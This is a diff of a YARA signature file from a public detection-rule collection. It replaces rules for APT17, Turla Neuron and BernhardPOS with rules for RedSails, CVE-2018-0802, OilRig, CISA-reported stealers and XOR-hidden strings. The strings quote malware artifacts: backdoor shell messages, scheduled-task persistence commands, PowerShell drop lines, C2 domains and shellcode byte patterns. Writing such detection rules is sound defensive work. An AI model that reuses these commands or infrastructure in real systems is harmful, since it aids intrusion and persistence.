+		reference = "https://github.com/BeetleChunks/redsails"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_redsails.yar#L27-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c5426a427e2c25cf9e44ae5f9ec477c9ab11f611d9a0db444c36e7cae176562"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6ebedff41992b9536fe9b1b704a29c8c1d1550b00e14055e3c6376f75e462661"
+		hash2 = "5ec20cb99030f48ba512cbc7998b943bebe49396b20cf578c26debbf14176e5e"
 
 	strings:
-		$s1 = "MiniDumpTest1.exe" fullword wide
-		$s2 = "MiniDumpWithTokenInformation" fullword ascii
-		$s3 = "MiniDumpTest1" fullword wide
-		$s6 = "Microsoft 2008" fullword ascii
+		$x1 = "Gained command shell on host" fullword ascii
+		$x2 = "[!] Received an ERROR in shell()" fullword ascii
+		$x3 = "Target IP address with backdoor installed" fullword ascii
+		$x4 = "Open backdoor port on target machine" fullword ascii
+		$x5 = "Backdoor port to open on victim machine" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Neuron_Common_Strings : FILE
+rule SIGNATURE_BASE_Rtf_CVE_2018_0802 : CVE_2018_0802 FILE
 {
 	meta:
-		description = "Rule for detection of Neuron based on commonly used strings"
-		author = "NCSC UK"
-		id = "168214d4-7436-531e-9c1f-48ca22215a1b"
-		date = "2017-11-23"
+		description = "Attempts to exploit CVE-2018-0802"
+		author = "Rich Warren"
+		id = "162492a3-d792-5f1c-a143-191c62b54728"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_neuron.yar#L9-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
-		logic_hash = "5f7a704fa0b6892b40868689c876e2f8252bb7319424212454408cbdf66f0b9f"
+		reference = "http://www.freebuf.com/vuls/159789.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2018_0802.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac1cd4f2162d2c8415e2ee5167cabb8e8aff08a06afe244f5bfe099f2d3fbeb4"
 		score = 75
+		quality = 83
+		tags = "CVE-2018-0802, FILE"
+
+	strings:
+		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
+		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{308,310}2500/ ascii nocase
+
+	condition:
+		uint32be(0)==0x7B5C7274 and all of them
+}
+rule SIGNATURE_BASE_APT_MAL_CISA_10365227_03_Clientuploader_Dec21 : FILE
+{
+	meta:
+		description = "Detects ClientUploader onedrv"
+		author = "CISA Code & Media Analysis"
+		id = "4eeadb28-9312-5602-932a-36acb48772f4"
+		date = "2021-12-23"
+		modified = "2021-12-24"
+		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stealer_cisa_ar22_277a.yar#L4-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76f552b2416ae2426b73a321485f34a611c2a3c1ca35791bc9f1834072dc28be"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		hash1 = "84164e1e8074c2565d3cd178babd93694ce54811641a77ffdc8d1084dd468afb"
 
 	strings:
-		$strServiceName = "MSExchangeService" ascii
-		$strReqParameter_1 = "cadataKey" wide
-		$strReqParameter_3 = "cadata" wide
-		$strReqParameter_4 = "cadataSig" wide
-		$strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
-		$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
-		$strIdentifier = "MSXEWS" wide
-		$strListenEndpoint = "443/ews/exchange/" wide
-		$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
-		$strName = "neuron_service" ascii
-		$dotnetMagic = "BSJB" ascii
+		$s1 = "Decoder2"
+		$s2 = "ClientUploader"
+		$s3 = "AppDomain"
+		$s4 = { 5F 49 73 52 65 70 47 ?? 44 65 63 6F 64 65 72 73 }
+		$s5 = "LzmaDecoder"
+		$s6 = "$ee1b3f3b-b13c-432e-a461-e52d273896a7"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of ($str*)
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Nautilus_Forensic_Artificats
+rule SIGNATURE_BASE_APT_MAL_CISA_10365227_01_APPSTORAGE_Dec21 : APPSTORAGE FILE
 {
 	meta:
-		description = "Rule for detection of Nautilus related strings"
-		author = "NCSC UK / Florian Roth"
-		id = "0c0a24da-4dbc-543a-9ec0-a5b1ec75c889"
-		date = "2017-11-23"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_neuron.yar#L98-L125"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "17ae559a4640636f1285c7078a4366954d5a41c098419db32315e354f0ae619d"
-		score = 60
+		description = "Detects AppStorage ntstatus msexch samples"
+		author = "CISA Code & Media Analysis"
+		id = "a44c5609-980f-5961-921c-6b1824cdd49c"
+		date = "2021-12-23"
+		modified = "2021-12-24"
+		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stealer_cisa_ar22_277a.yar#L25-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a46bc4efa1f22d9fc65d946dbaa7b94de6074e65c228373bb6001f152d5b603"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "APPSTORAGE, FILE"
+		family = "APPSTORAGE"
+		hash1 = "157a0ffd18e05bfd90a4ec108e5458cbde01015e3407b3964732c9d4ceb71656"
+		hash2 = "30191b3badf3cdbc65d0ffeb68e0f26cef10a41037351b0f562ab52fce7432cc"
 
 	strings:
-		$ = "App_Web_juvjerf3.dll" fullword ascii
-		$ = "App_Web_vcplrg8q.dll" fullword ascii
-		$ = "ar_all2.txt" fullword ascii
-		$ = "ar_sa.txt" fullword ascii
-		$ = "Convert.FromBase64String(temp[1])" fullword ascii
-		$ = "D68gq#5p0(3Ndsk!" fullword ascii
-		$ = "dcomnetsrv" fullword ascii
-		$ = "ERRORF~1.ASP" fullword ascii
-		$ = "intelliAdminRpc" fullword ascii
-		$ = "J8fs4F4rnP7nFl#f" fullword ascii
-		$ = "Msnb.exe" fullword ascii
-		$ = "nautilus-service.dll"
-		$ = "Neuron_service" fullword ascii
-		$ = "owa_ar2.bat" fullword ascii
-		$ = "payload.x64.dll.system" fullword ascii
-		$ = "service.x64.dll.system" fullword ascii
+		$s1 = "026B924DD52F8BE4A3FEE8575DC"
+		$s2 = "GetHDDId"
+		$s3 = "AppStorage"
+		$s4 = "AppDomain"
+		$s5 = "$1e3e5580-d264-4c30-89c9-8933c948582c"
+		$s6 = "hrjio2mfsdlf235d" wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and all of them
+}
+rule SIGNATURE_BASE_APT_MAL_CISA_10365227_02_Clientuploader_Dec21 : FILE
+{
+	meta:
+		description = "Detects ClientUploader_mqsvn"
+		author = "CISA Code & Media Analysis"
+		id = "84351df9-e225-5c3f-9385-523246681a97"
+		date = "2021-12-23"
+		modified = "2021-12-24"
+		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stealer_cisa_ar22_277a.yar#L48-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9f82b4577568d0bd60bac0d3132ed7ffcb338f508a8689f3126f3d2440432ef"
+		score = 80
+		quality = 81
+		tags = "FILE"
+		hash1 = "3585c3136686d7d48e53c21be61bb2908d131cf81b826acf578b67bb9d8e9350"
+
+	strings:
+		$s1 = "UploadSmallFileWithStopWatch"
+		$s2 = "UploadPartWithStopwatch"
+		$s3 = "AppVClient"
+		$s4 = "ClientUploader"
+		$s5 = { 46 69 6C 65 43 6F 6E 74 61 69 6E 65 72 2E 46 69 6C 65 41 72 63 68 69 76 65 }
+		$s6 = { 4F 6E 65 44 72 69 76 65 43 6C 69 65 6E 74 2E 4F 6E 65 44 72 69 76 65 }
+
+	condition:
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT17_Malware_Oct17_1 : FILE
+rule SIGNATURE_BASE_Oilrig_Strings_Oct17 : FILE
 {
 	meta:
-		description = "Detects APT17 malware"
+		description = "Detects strings from OilRig malware and malicious scripts"
 		author = "Florian Roth (Nextron Systems)"
-		id = "457312d8-5bfe-5282-9ace-2f169278569c"
-		date = "2017-10-03"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/puVc9q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt17_mal_sep17.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c4391b47df0c40dbd605515992e5eaa758d0e509e9ad24b517d104b8e7d504c"
+		id = "edf7c7ca-0c58-5507-8d99-83078ff8947a"
+		date = "2017-10-18"
+		modified = "2022-12-21"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_oct17.yar#L11-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3987fa1ccb215edeb0d36c947fd6d7a24847ea854d3f355d1aef4b000f55e710"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83"
 
 	strings:
-		$s1 = "\\spool\\prtprocs\\w32x86\\localspl.dll" ascii
-		$s2 = "\\spool\\prtprocs\\x64\\localspl.dll" ascii
-		$s3 = "\\msvcrt.dll" ascii
-		$s4 = "\\TSMSISrv.dll" ascii
+		$x1 = "%localappdata%\\srvHealth.exe" fullword wide ascii
+		$x2 = "%localappdata%\\srvBS.txt" fullword wide ascii
+		$x3 = "Agent Injector\\PolicyConverter\\Inner\\obj\\Release\\Inner.pdb" ascii
+		$x4 = "Agent Injector\\PolicyConverter\\Joiner\\obj\\Release\\Joiner.pdb" ascii
+		$s3 = ".LoadDll(\"Run\", arg, \"C:\\\\Windows\\\\" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of them )
+		filesize <800KB and 1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT17_Malware_Oct17_2 : FILE
+rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples1 : FILE
 {
 	meta:
-		description = "Detects APT17 malware"
+		description = "Detects OilRig malware from Unit 42 report in October 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f21514a-168b-5158-8322-60fa8499b11a"
-		date = "2017-10-03"
+		id = "237fe7af-a2ab-51ae-bc96-3af46b08622a"
+		date = "2017-10-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/puVc9q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt17_mal_sep17.yar#L31-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "378a21edeaf36267986bd5158fe736b0970b0b9f0ad824f09dc6434a9ba1d7e2"
+		reference = "https://goo.gl/JQVfFP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_oct17.yar#L42-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7e659440e3abc7355f2e21ea8f63cfb7b17b5715e4575bdccf9d646ed47db20"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27"
+		hash1 = "119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc"
+		hash2 = "0ccb2117c34e3045a4d2c0d193f1963c8c0e8566617ed0a561546c932d1a5c0c"
 
 	strings:
-		$x1 = "Cookie: __xsptplus=%s" fullword ascii
-		$x2 = "http://services.fiveemotions.co.jp" fullword ascii
-		$x3 = "http://%s/ja-JP/2015/%d/%d/%d%d%d%d%d%d%d%d.gif" fullword ascii
-		$s1 = "FoxHTTPClient_EXE_x86.exe" fullword ascii
-		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3072" ascii
-		$s3 = "hWritePipe2 Error:%d" fullword ascii
-		$s4 = "Not Support This Function!" fullword ascii
-		$s5 = "Global\\PnP_No_Management" fullword ascii
-		$s6 = "Content-Type: image/x-png" fullword ascii
-		$s7 = "Accept-Language: ja-JP" fullword ascii
-		$s8 = "IISCMD Error:%d" fullword ascii
+		$s1 = "###$$$TVqQAAMAAAAEAAAA" ascii
+		$s2 = "C:\\Users\\J-Win-7-32-Vm\\Desktop\\error.jpg" fullword wide
+		$s3 = "$DATA = [System.Convert]::FromBase64String([IO.File]::ReadAllText('%Base%'));[io.file]::WriteAllBytes(" ascii
+		$s4 = " /c echo powershell > " fullword wide ascii
+		$s5 = "\\Libraries\\servicereset.exe" wide
+		$s6 = "%DestFolder%" fullword wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.exports("_foo@0") or 1 of ($x*) or 6 of them )
+		uint16(0)==0xcfd0 and filesize <3000KB and 2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT17_Unsigned_Symantec_Binary_EFA : FILE
+rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples2 : FILE
 {
 	meta:
-		description = "Detects APT17 malware"
+		description = "Detects OilRig malware from Unit 42 report in October 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "56eec517-8b00-5cb5-9806-249e50f53b99"
-		date = "2017-10-03"
+		id = "08771b23-1d0e-5da7-b42c-005ed257e2d1"
+		date = "2017-10-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/puVc9q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt17_mal_sep17.yar#L61-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7306c8ae2be4dbf56957e11d78ba85bcfa1c8570ba41f749ea5b0e2a05e9df7b"
+		reference = "https://goo.gl/JQVfFP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_oct17.yar#L63-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad00c7293f61f1b5528c3eea0dc32c10d40aeacc194be84a7f64d19b069f1add"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f"
+		hash1 = "fcad263d0fe2b418db05f47d4036f0b42aaf201c9b91281dfdcb3201b298e4f4"
+		hash2 = "33c187cfd9e3b68c3089c27ac64a519ccc951ccb3c74d75179c520f54f11f647"
 
 	strings:
-		$s1 = "Copyright (c) 2007 - 2011 Symantec Corporation" fullword wide
-		$s2 = "\\\\.\\SYMEFA" fullword wide
+		$x1 = "PolicyConverter.exe" fullword wide
+		$x2 = "SrvHealth.exe" fullword wide
+		$x3 = "srvBS.txt" fullword wide
+		$s1 = "{a3538ba3-5cf7-43f0-bc0e-9b53a98e1643}, PublicKeyToken=3e56350693f7355e" fullword wide
+		$s2 = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them and pe.number_of_signatures==0)
+		uint16(0)==0x5a4d and filesize <700KB and (2 of ($x*) or 3 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT17_Malware_Oct17_Gen : FILE
+rule SIGNATURE_BASE_Oilrig_Ismagent_Campaign_Samples3 : FILE
 {
 	meta:
-		description = "Detects APT17 malware"
+		description = "Detects OilRig malware from Unit 42 report in October 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c2156e68-d5b5-5bd7-858c-2d5e90199287"
-		date = "2017-10-03"
+		id = "e26510bd-d183-566a-a185-ebed7a81401c"
+		date = "2017-10-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/puVc9q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt17_mal_sep17.yar#L77-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e0e4a989a907f5f1aaac4ba43611dd0d2e4b4fd340234f04b3fce25843f9dc6"
+		reference = "https://goo.gl/JQVfFP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig_oct17.yar#L84-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4984cf33e7b0e0dae264ed11caae6cfab9db2a6047a46ec41c28b5637b4589b"
 		score = 75
-		quality = 85
+		quality = 81
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2"
-		hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d"
-		hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550"
+		hash1 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
 
 	strings:
-		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii
-		$x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii
-		$s1 = "hWritePipe2 Error:%d" fullword ascii
-		$s2 = "Not Support This Function!" fullword ascii
-		$s3 = "Cookie: SESSIONID=%s" fullword ascii
-		$s4 = "http://0.0.0.0/1" fullword ascii
-		$s5 = "Content-Type: image/x-png" fullword ascii
-		$s6 = "Accept-Language: en-US" fullword ascii
-		$s7 = "IISCMD Error:%d" fullword ascii
-		$s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii
+		$x1 = "cmd /c schtasks /query /tn TimeUpdate > NUL 2>&1" ascii
+		$x2 = "schtasks /create /sc minute /mo 0002 /tn TimeUpdate /tr" fullword ascii
+		$x3 = "-c  SampleDomain.com -m scheduleminutes" fullword ascii
+		$x4 = ".ntpupdateserver.com" fullword ascii
+		$x5 = ".msoffice365update.com" fullword ascii
+		$s1 = "out.exe" fullword ascii
+		$s2 = "\\Win32Project1\\Release\\Win32Project1.pdb" ascii
+		$s3 = "C:\\windows\\system32\\cmd.exe /c (" ascii
+		$s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
+		$s5 = "Agent configured successfully" fullword ascii
+		$s6 = "\\runlog*" ascii
+		$s7 = "can not specify username!!" fullword ascii
+		$s8 = "Agent can not be configured" fullword ascii
+		$s9 = "%08lX%04hX%04hX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX" fullword ascii
+		$s10 = "!!! can not create output file !!!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="414bbd566b700ea021cfae3ad8f4d9b9" or 1 of ($x*) or 6 of them ))
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="538805ecd776b9a42e71aebf94fde1b1" or pe.imphash()=="861ac226fbe8c99a2c43ff451e95da97" or (1 of ($x*) or 3 of them ))
 }
-rule SIGNATURE_BASE_Bernhardpos
+rule SIGNATURE_BASE_SUSP_Xored_Mozilla : FILE
 {
 	meta:
-		description = "BernhardPOS Credit Card dumping tool"
-		author = "Nick Hoffman / Jeremy Humble"
-		id = "9b9e1507-cf1b-5653-beaa-458205e367c3"
-		date = "2015-07-14"
-		modified = "2023-12-05"
-		reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_bernhard_pos.yar#L1-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e49820ef02ba5308ff84e4c8c12e7c3d"
-		logic_hash = "c00f2fda5a391b44767d918945069f18cef084dd4dc6aa94d8f945bf97ac462a"
-		score = 70
+		description = "Detects suspicious single byte XORed keyword 'Mozilla/5.0' - it uses yara's XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key."
+		author = "Florian Roth"
+		id = "af7fc551-0d4e-589e-9152-95d9c4ab03bf"
+		date = "2019-10-28"
+		modified = "2023-11-25"
+		reference = "https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force()"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xor_hunting.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1686e704c47391ee190f59d09bc2a5f633bb6589f671ecc5431f733c9ae0dba"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
-		$mutex_name = "OPSEC_BERNHARD"
-		$build_path = "C:\\bernhard\\Debug\\bernhard.pdb"
-		$string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+		$xo1 = "Mozilla/5.0" xor(0x01-0xff) ascii wide
+		$fp1 = "Sentinel Labs" wide
+		$fp2 = "<filter object at" ascii
 
 	condition:
-		any of them
+		$xo1 and not 1 of ($fp*) and not uint32(0)==0x434d5953
 }
-rule SIGNATURE_BASE_SUSP_Vulndriver_HP_Hardware_Diagnostics_Etdsupp_May23 : FILE
+rule SIGNATURE_BASE_SUSP_Xored_MSDOS_Stub_Message : FILE
 {
 	meta:
-		description = "Detects vulnerable versions of the HP Hardware Diagnostics driver (etdsupp.sys) based on PE metadata info"
-		author = "X__Junior (Nextron Systems)"
-		id = "8f838e4f-3e3e-5131-9d67-e49f6848bb37"
-		date = "2023-05-12"
+		description = "Detects suspicious XORed MSDOS stub message"
+		author = "Florian Roth"
+		id = "9ab52434-9162-5fd5-bf34-8b163f6aeec4"
+		date = "2019-10-28"
+		modified = "2023-10-11"
+		reference = "https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xor_hunting.yar#L22-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6d7d7242511d2c26122fe2b880cfe39facb5f68ae45e19c1558163f0427c304"
+		score = 55
+		quality = 85
+		tags = "FILE"
+
+	strings:
+		$xo1 = "This program cannot be run in DOS mode" xor(0x01-0xff) ascii wide
+		$xo2 = "This program must be run under Win32" xor(0x01-0xff) ascii wide
+		$fp1 = "AVAST Software" fullword wide ascii
+		$fp2 = "AVG Netherlands" fullword wide ascii
+		$fp3 = "AVG Technologies" ascii wide
+		$fp4 = "Malicious Software Removal Tool" wide
+		$fp5 = "McAfee Labs" fullword ascii wide
+		$fp6 = "Kaspersky Lab" fullword ascii wide
+		$fp7 = "<propertiesmap>" ascii wide
+		$fp10 = "Avira Engine Module" wide
+		$fp11 = "syntevo GmbH" wide fullword
+		$fp13 = "SophosClean" ascii
+		$fp14 = "SophosHomeClean" wide
+
+	condition:
+		1 of ($x*) and not 1 of ($fp*) and not uint16(0)==0xb0b0 and not uint16(0)==0x5953
+}
+rule SIGNATURE_BASE_Servantshell : FILE
+{
+	meta:
+		description = "Detects Servantshell malware"
+		author = "Arbor Networks ASERT Nov 2015"
+		id = "f41e9191-0be1-59f7-9be4-e39c8a37b2c5"
+		date = "2017-02-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/alfarom256/HPHardwareDiagnostics-PoC/tree/main/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/susp_vulndriver_hp_hardware_diagnostics_etdsupp_may23.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
-		logic_hash = "bb50f591e49b1b0b08ccbe4ca5cb3685d8f358e51e6d6f77677bc05701f6b301"
-		score = 65
+		reference = "https://tinyurl.com/jmp7nrs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_servantshell.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "739057dc95831c9ed35981b40c606ecd0b3fd2118b42ed7c09e200dc0bc395db"
+		score = 70
 		quality = 85
 		tags = "FILE"
 
 	strings:
